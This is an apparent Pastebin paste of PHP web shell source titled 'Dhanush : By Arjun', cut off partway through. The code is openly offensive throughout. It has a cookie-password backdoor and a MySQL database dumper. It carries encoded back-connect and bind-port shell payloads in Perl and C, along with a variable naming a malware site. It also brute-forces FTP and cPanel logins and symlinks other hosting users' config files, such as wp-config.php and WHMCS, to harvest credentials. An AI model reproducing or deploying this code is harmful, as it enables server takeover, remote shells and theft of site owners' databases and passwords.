BlueBoyz

decode lagi T_T gzuncompress

Nov 7th, 2012
21,219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 203.09 KB | None | 0 0
  1. <?php
  2.  
  3. $pass = "Root";
  4. $malsite = "http://fightagent.ru";  // Malware Site
  5. $ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // Base64 encoded "You Just Got Hacked !!"
  6.  
  7. @set_magic_quotes_runtime(0);
  8. ob_start();
  9. error_reporting(0);
  10. @set_time_limit(0);
  11. @ini_set('max_execution_time',0);
  12. @ini_set('output_buffering',0);
  13. if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
  14. {
  15. if($_GET["action"] == "dumpDB")
  16. {
  17.     $self=$_SERVER["PHP_SELF"];
  18.     if(isset($_COOKIE['dbserver']))
  19.     {
  20.         $date = date("Y-m-d");
  21.         $dbserver = $_COOKIE["dbserver"];
  22.         $dbuser = $_COOKIE["dbuser"];
  23.         $dbpass = $_COOKIE["dbpass"];
  24.         $dbname = $_GET['dbname'];
  25.         $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  26.         $file = "Dump-$dbname-$date";
  27.         $file="Dump-$dbname-$date.sql";
  28.         $fp = fopen($file,"w");
  29.         function write($data)
  30.         {
  31.             global $fp;
  32.                 fwrite($fp,$data);
  33.         }
  34.         mysql_connect ($dbserver, $dbuser, $dbpass);
  35.         mysql_select_db($dbname);
  36.         $tables = mysql_query ("SHOW TABLES");
  37.         while ($i = mysql_fetch_array($tables))
  38.         {
  39.             $i = $i['Tables_in_'.$dbname];
  40.             $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  41.             write($create['Create Table'].";\n\n");
  42.             $sql = mysql_query ("SELECT * FROM ".$i);
  43.             if (mysql_num_rows($sql))
  44.             {
  45.                 while ($row = mysql_fetch_row($sql))
  46.                 {
  47.                     foreach ($row as $j => $k)
  48.                     {
  49.                         $row[$j] = "'".mysql_escape_string($k)."'";
  50.                     }
  51.                     write("INSERT INTO $i VALUES(".implode(",", $row).");");
  52.                 }
  53.             }
  54.         }
  55.         fclose ($fp);
  56.         header("Content-Disposition: attachment; filename=" . $file);  
  57.         header("Content-Type: application/download");
  58.         header("Content-Length: " . filesize($file));
  59.         flush();
  60.         $fp = fopen($file, "r");
  61.         while (!feof($fp))
  62.         {
  63.             echo fread($fp, 65536);
  64.             flush();
  65.         }
  66.         fclose($fp);
  67.     }
  68. }
  69. ?>
  70. <style type="text/css">
  71. <!--
  72. span.headtitle
  73. {
  74.     color:#00ff00;
  75.     text-decoration:none;
  76. }
  77. body, th{
  78.     color:#00ff00;
  79.     background-color:#000000;
  80.     font-size: 13px;
  81. }
  82. table.tbl
  83. {
  84. border:#00ff00;
  85. }
  86. table.pwdtbl
  87. {
  88.     width:100%;
  89.     background-color:#000000;
  90.     border-color:#00ff00;
  91.     border-style:inset;
  92. }
  93. tr.file:hover
  94. {
  95.     background-color:#5e5e5e;
  96. }
  97. tr.file
  98. {
  99.     background-color:#000000;
  100.     height:12px;
  101.     font-size: 14px;
  102. }
  103. td.myfun
  104. {
  105.   border-style:none;
  106.   margin: 5px;
  107. }
  108. td.myfun:hover
  109. {
  110.   box-shadow: 0px 0px 2px #FF0;
  111. }
  112. input.but {
  113.     margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New";
  114. }
  115. a:link {
  116.     color: #00ff00;
  117.     text-decoration:none;
  118.     font-weight:600;
  119. }
  120. a:visited
  121. {
  122. color:#00ff00;
  123. }
  124. a:hover {
  125.     background:#ff0000;
  126. }
  127. font.mainmenu
  128. {
  129.     font-size:14px;
  130. }
  131. font.txt
  132. {
  133.     color: #FFFFFF;
  134.     text-decoration:none;
  135.     font-size:13px;
  136. }
  137. font.fun
  138. {
  139.     color:#00ff00;
  140. }
  141. font.wrtperm
  142. {
  143.     color:#00ff00;
  144. }
  145. font.readperm
  146. {
  147.     color:#FF0000;
  148. }
  149. font.noperm
  150. {
  151.     color:#FFFFFF;
  152. }
  153. input.upld
  154. {
  155.     width:400;
  156.     margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New";
  157. }
  158. input.box
  159. {
  160.     width:400;
  161.     margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New";
  162. }
  163. input.sbox
  164. {
  165.     width:180;
  166.     margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New";
  167. }
  168. select.sbox
  169. {
  170.     width:180;
  171.     margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New";
  172. }
  173. select.box
  174. {
  175.     width:400;
  176.     margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New";
  177. }
  178. textarea.box
  179. {
  180.   margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New";
  181. }
  182. .myphp table
  183. {
  184.     width:100%;
  185.     padding:18px 10px;
  186.     border : 1px solid #00FF00;
  187. }
  188. .myphp td
  189. {
  190.     background:#111111;
  191.     color:#00ff00;
  192.     padding:6px 8px;
  193.     border-bottom:1px solid #222222;
  194.     font-size:14px;
  195. }
  196. .myphp th,
  197. {
  198.     background:#181818;
  199. }
  200. -->
  201. </style>
  202. <?php
  203. $back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
  204. $backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
  205. $zone="vVRtb9owEP6OxH+4ZhFKWkJg6roqEFS0VStaX1ChmybKB8c5wGpiZ7ZZS6vut8+Gjm5V1r18mPLBuedenrvznV9shQslw4TxsECZVSvVCpt6Wwe983cfxq2Jf1etFJJxDc6lNh+/5E77JyhHUFTq5e6c0CsYH0xgSeZCwDgVegJU5FDidCSuYSTgQmEElhZuBcdGkUFnyDRCxpTuQudCwlucEooSTkmO3e+B8IZpc9xXKy6RnyGGdbbNiQHdmVwUYoO1LEbnIi9grTGiKJB7pO50rLfjG+RAWdYYOqRrzTOh0CNW4SYGVZRkRHorIwtOhfRcEjfbLunEbmKOnR2/Wrl7oLFmY5dYYtPJjQjxVwg/iQVQwkGhLZJfKUjQhEOQWGRLH+5ALRKl5aNbHZp1eO1D7DhtuN80cbwzgYFQ2mTGU/ZIum7QQiH0z6JoKOgV6ijqnx6ObDXKyKagp6qgy/HaGyDKXppKiLvgPJ+oUwdrPRBSW+t9k+JACi1WrpoWjg9CAscbvbn2NbczOBuOIORCs+kyzIlS8BumpwF6lGKhI9gOty/lj3P1oD/HKUqU0b/FDY4Jny3IzI6lDhJZSvFGcI1cB6NlYexIUWSMEs0ED2+Cv2Q1oThS6xvBe8Qi6GXsC5ayml2RQW9miCM4Ebcsy0i422iCZ1asMPRJhm04GfYPYa/RbMNHxlNxreB0BK8aLb805JEZoD9plJshn+l5vD48J10vZbzeqFoqcsJ4K34+0GZEa/ahyEWKcWu/JpEoweO9mpn7nOl4iDxd5er/quvHqyQieEiqtLCBJLOcRMBFQAmdlze0FPwfpW2emBWnLVRl5u69l/b3/hs=";
  206. $bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
  207. $bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
  208. ?>
  209. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  210. <title>Dhanush : By Arjun</title>
  211. <script type="text/javascript">
  212. checked = false;
  213. function checkedAll ()
  214. {
  215.     if (checked == false){checked = true}else{checked = false}
  216.     for (var i = 0; i < document.getElementById('myform').elements.length; i++)
  217.     {
  218.       document.getElementById('myform').elements[i].checked = checked;
  219.     }
  220. }
  221. </script>
  222. <body>
  223. <?php
  224.     $self=$_SERVER["PHP_SELF"];
  225.     $os = "N/D";
  226.     if(stristr(php_uname(),"Windows"))
  227.     {
  228.             $SEPARATOR = '\\';
  229.             $os = "Windows";
  230.             $directorysperator="\\";
  231.     }
  232.     else if(stristr(php_uname(),"Linux"))
  233.     {
  234.             $os = "Linux";
  235.             $directorysperator='/';
  236.     }
  237.     function Trail($d,$directsperator)
  238.     {
  239.         $d=explode($directsperator,$d);
  240.         array_pop($d);
  241.         array_pop($d);
  242.         $str=implode($d,$directsperator);
  243.         return $str;
  244.     }
  245.     function ftp_check($host,$user,$pass,$timeout)
  246.     {
  247.      $ch = curl_init();
  248.      curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  249.      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  250.      curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  251.      curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  252.      curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  253.      curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  254.      curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  255.      $data = curl_exec($ch);
  256.      if ( curl_errno($ch) == 28 )
  257.      {
  258.      print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  259.      <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  260.      Please Check The Target Hostname .</font></font></b></p>";exit;
  261.      }
  262.      else if ( curl_errno($ch) == 0 )
  263.      {
  264.       print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 9pt\"><b><font color=\"#008000\">
  265.      Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  266.      and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  267.      }
  268.      curl_close($ch);
  269.     }
  270.     function cpanel_check($host,$user,$pass,$timeout)
  271.     {
  272.      global $cpanel_port;
  273.      $ch = curl_init();
  274.      //echo "http://$host:".$cpanel_port."<br>";
  275.      curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
  276.      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  277.      curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  278.      curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  279.      curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  280.      curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  281.      $data = curl_exec($ch);
  282.      if ( curl_errno($ch) == 28 )
  283.      { print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  284.       <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  285.       Please Check The Target Hostname .</font></font></b></p>";exit;}
  286.       else if ( curl_errno($ch) == 0 ){
  287.       print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 9pt\"><b><font color=\"#008000\">
  288.      Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  289.     and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  290.      }
  291.      curl_close($ch);
  292.     }
  293.     function syml($usern,$pdomain)
  294.     {
  295.         symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  296.         symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  297.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  298.         symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  299.         symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  300.         symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  301.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  302.         symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  303.         symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  304.         symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  305.         symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  306.         symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  307.         symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  308.         symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  309.         symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  310.         symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  311.         symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  312.         symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  313.         symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  314.         symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  315.         symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  316.         symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  317.         symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  318.         symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  319.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  320.         symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  321.         symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  322.         symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  323.         symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  324.         symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  325.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  326.         symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  327.         symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  328.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  329.         symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  330.         symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  331.         symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  332.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  333.         symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  334.         symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  335.         symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  336.         symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  337.         symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  338.         symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  339.         symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  340.         symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  341.         symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  342.         symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  343.         symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  344.         symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  345.         symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  346.         symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  347.         symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  348.         symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  349.         symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  350.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  351.         symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  352.         symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  353.         symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  354.         symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  355.         symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  356.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  357.         symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  358.         symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  359.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  360.         symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  361.         symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  362.         symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  363.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  364.         symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  365.         symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  366.         symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  367.         symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  368.         symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  369.         symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  370.         symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  371.         symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  372.         symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  373.         symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  374.         symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  375.         symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  376.         symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  377.         symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  378.         symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  379.         symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  380.         symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  381.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  382.         symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  383.         symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  384.         symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  385.         symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  386.         symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  387.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  388.         symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  389.         symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  390.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  391.         symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  392.         symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  393.         symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  394.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  395.         symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  396.         symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  397.         symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  398.         symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  399.         symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  400.         symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  401.         symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  402.         symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  403.         symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  404.         symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  405.         symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  406.         symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  407.         symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  408.         symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  409.         symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  410.         symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  411.         symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  412.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  413.         symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  414.         symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  415.         symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  416.         symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  417.         symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  418.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  419.         symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  420.         symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  421.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  422.         symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  423.         symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  424.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  425.         symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  426.         symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  427.         symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  428.         symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  429.         symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  430.         symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  431.         symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  432.         symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  433.         symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  434.         symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  435.         symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  436.         symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  437.         symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  438.         symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  439.         symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  440.         symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  441.         symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  442.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  443.         symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  444.         symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  445.         symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  446.         symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
